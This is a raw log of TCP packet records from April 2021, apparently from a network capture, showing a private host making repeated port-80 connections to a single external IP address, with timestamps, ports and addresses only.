Apr 28, 2021 23:23:49.021718979 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021835089 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.021908045 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021920919 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021934986 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021996021 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.022077084 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.022244930 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.022335052 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.022452116 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.039139032 CEST	50033	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.040167093 CEST	50034	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.121598005 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.121620893 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.121628046 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.121891022 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.121911049 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.121926069 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.121937990 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.121997118 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.122206926 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.122219086 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.122359037 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.124548912 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.124562979 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.124768972 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125102043 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125168085 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125365019 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125607967 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125618935 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125758886 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125801086 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125812054 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125958920 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.125996113 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.126128912 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.127985001 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.128293037 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.133954048 CEST	80	50033	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.134104967 CEST	50033	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.147526979 CEST	80	50034	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.147675037 CEST	50034	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.148999929 CEST	50034	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.231843948 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.232040882 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.256665945 CEST	80	50034	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.260503054 CEST	80	50034	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.260663033 CEST	50034	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.367347956 CEST	50034	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.368649960 CEST	50036	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.461256027 CEST	80	50036	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.461508989 CEST	50036	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.462086916 CEST	50036	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.474798918 CEST	80	50034	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.474925041 CEST	50034	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.555133104 CEST	80	50036	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.558815956 CEST	80	50036	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.559012890 CEST	50036	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.664390087 CEST	50036	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.665858984 CEST	50037	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.757054090 CEST	80	50036	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.757204056 CEST	50036	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.763586044 CEST	80	50037	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.763744116 CEST	50037	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.764853001 CEST	50037	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.862478971 CEST	80	50037	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.866556883 CEST	80	50037	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.866704941 CEST	50037	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.978930950 CEST	50037	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.980264902 CEST	50038	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.073590994 CEST	80	50038	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.073831081 CEST	50038	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.074399948 CEST	50038	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.076432943 CEST	80	50037	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.076518059 CEST	50037	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.169353008 CEST	80	50038	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.174210072 CEST	80	50038	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.174261093 CEST	50038	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.292604923 CEST	50038	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.293863058 CEST	50040	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.385863066 CEST	80	50038	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.385977983 CEST	50038	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.393856049 CEST	80	50040	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.393989086 CEST	50040	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.394454002 CEST	50040	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.494334936 CEST	80	50040	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.498352051 CEST	80	50040	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.499257088 CEST	50040	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.601907015 CEST	50040	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.603040934 CEST	50041	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.700624943 CEST	80	50041	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.700730085 CEST	50041	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.701194048 CEST	50041	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.701720953 CEST	80	50040	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.704706907 CEST	50040	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.800580978 CEST	80	50041	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.804183960 CEST	80	50041	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:50.804425955 CEST	50041	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.914608955 CEST	50041	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:50.916018963 CEST	50042	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.012434959 CEST	80	50041	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.012579918 CEST	50041	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.013801098 CEST	80	50042	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.014009953 CEST	50042	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.014630079 CEST	50042	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.113845110 CEST	80	50042	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.117253065 CEST	80	50042	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.120266914 CEST	50042	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.228159904 CEST	50042	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.228811026 CEST	50043	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.328313112 CEST	80	50042	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.328404903 CEST	50042	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.330544949 CEST	80	50043	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.330676079 CEST	50043	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.331300020 CEST	50043	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.433217049 CEST	80	50043	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.437341928 CEST	80	50043	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.437521935 CEST	50043	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.540186882 CEST	50043	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.542829990 CEST	50044	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.607211113 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.639388084 CEST	80	50044	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.639528036 CEST	50044	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.640566111 CEST	50044	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.641077995 CEST	80	50043	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.641146898 CEST	50043	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.711641073 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.711803913 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.712034941 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.735510111 CEST	80	50044	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.739432096 CEST	80	50044	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.739666939 CEST	50044	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.816543102 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.816651106 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.816773891 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.816828012 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.816864967 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.816940069 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.817003965 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.817070007 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.817312002 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.817406893 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.817511082 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.817665100 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.817719936 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.817780972 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.817910910 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.817980051 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.818063021 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.818125963 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.818274975 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.818346977 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.852221012 CEST	50044	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.856446028 CEST	50046	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.922905922 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923038960 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.923213005 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923239946 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923264027 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923278093 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.923288107 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923324108 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923331976 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.923353910 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923374891 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.923377991 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923405886 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.923424006 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.923476934 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.924007893 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.924087048 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.924109936 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.924113035 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.924139023 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.924151897 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.924189091 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.948591948 CEST	80	50044	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.948777914 CEST	50044	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.955605030 CEST	80	50046	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:51.955751896 CEST	50046	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:51.956619024 CEST	50046	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.028469086 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.028879881 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.028891087 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.028940916 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.028954983 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.028990030 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.029073954 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.029155970 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.029212952 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.029619932 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.029728889 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.029784918 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.029829979 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.029877901 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.029953957 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.030189037 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.030276060 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.030388117 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.030489922 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.030584097 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.030699968 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.030739069 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.030777931 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.030811071 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.030862093 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.030900002 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.030981064 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.031311989 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.031337023 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.031347990 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.031371117 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.031425953 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.031691074 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.054256916 CEST	80	50046	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.057477951 CEST	80	50046	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.057661057 CEST	50046	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.132985115 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.133028984 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.133064985 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.133102894 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.133333921 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.133536100 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.133925915 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.134129047 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.134326935 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.134521961 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.134691954 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.134717941 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.134876966 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.135039091 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.135073900 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.135246038 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.135272980 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.135358095 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.135562897 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.135723114 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.137365103 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.137746096 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.166734934 CEST	50046	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.168602943 CEST	50047	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.242024899 CEST	80	50045	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.242717028 CEST	50045	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.266402960 CEST	80	50046	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.266529083 CEST	50046	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.268047094 CEST	80	50047	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.268234968 CEST	50047	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.269376993 CEST	50047	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.367125988 CEST	80	50047	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.371140957 CEST	80	50047	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.371305943 CEST	50047	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.477916956 CEST	50047	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.480817080 CEST	50049	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.577343941 CEST	80	50047	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.577568054 CEST	50047	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.581147909 CEST	80	50049	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.581343889 CEST	50049	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.582488060 CEST	50049	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.682149887 CEST	80	50049	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.685695887 CEST	80	50049	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.685879946 CEST	50049	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.793684959 CEST	50049	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.800736904 CEST	50050	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.892781019 CEST	80	50049	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.892972946 CEST	50049	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.894238949 CEST	80	50050	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.894427061 CEST	50050	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.895669937 CEST	50050	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:52.990309000 CEST	80	50050	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.994338989 CEST	80	50050	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:52.994479895 CEST	50050	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.102276087 CEST	50050	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.104115009 CEST	50051	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.196311951 CEST	80	50050	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.196377993 CEST	50050	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.203388929 CEST	80	50051	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.203495026 CEST	50051	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.204106092 CEST	50051	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.304656029 CEST	80	50051	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.308196068 CEST	80	50051	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.308259964 CEST	50051	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.414628029 CEST	50051	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.416105986 CEST	50053	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.513847113 CEST	80	50051	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.513916969 CEST	50051	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.515964985 CEST	80	50053	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.516064882 CEST	50053	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.516588926 CEST	50053	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.617995024 CEST	80	50053	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.621761084 CEST	80	50053	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.621876955 CEST	50053	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.730858088 CEST	50053	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.732213974 CEST	50054	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.830621958 CEST	80	50053	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.830698013 CEST	50053	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.833897114 CEST	80	50054	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.834064007 CEST	50054	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.834566116 CEST	50054	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:53.936126947 CEST	80	50054	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.939853907 CEST	80	50054	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:53.939959049 CEST	50054	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.055813074 CEST	50054	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.057208061 CEST	50055	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.157994986 CEST	80	50054	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.158075094 CEST	50054	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.161242962 CEST	80	50055	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.161402941 CEST	50055	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.161969900 CEST	50055	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.266140938 CEST	80	50055	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.270353079 CEST	80	50055	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.270519972 CEST	50055	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.383903027 CEST	50055	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.385354042 CEST	50056	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.487876892 CEST	80	50055	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.487972975 CEST	50055	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.493798018 CEST	80	50056	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.494690895 CEST	50056	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.495471001 CEST	50056	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.603873014 CEST	80	50056	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.607503891 CEST	80	50056	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.608223915 CEST	50056	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.646070004 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.711569071 CEST	50056	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.712790966 CEST	50058	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.748810053 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.749072075 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.749463081 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.812598944 CEST	80	50058	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.812738895 CEST	50058	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.813457966 CEST	50058	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.819994926 CEST	80	50056	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.820152998 CEST	50056	80	192.168.2.5	176.111.174.114
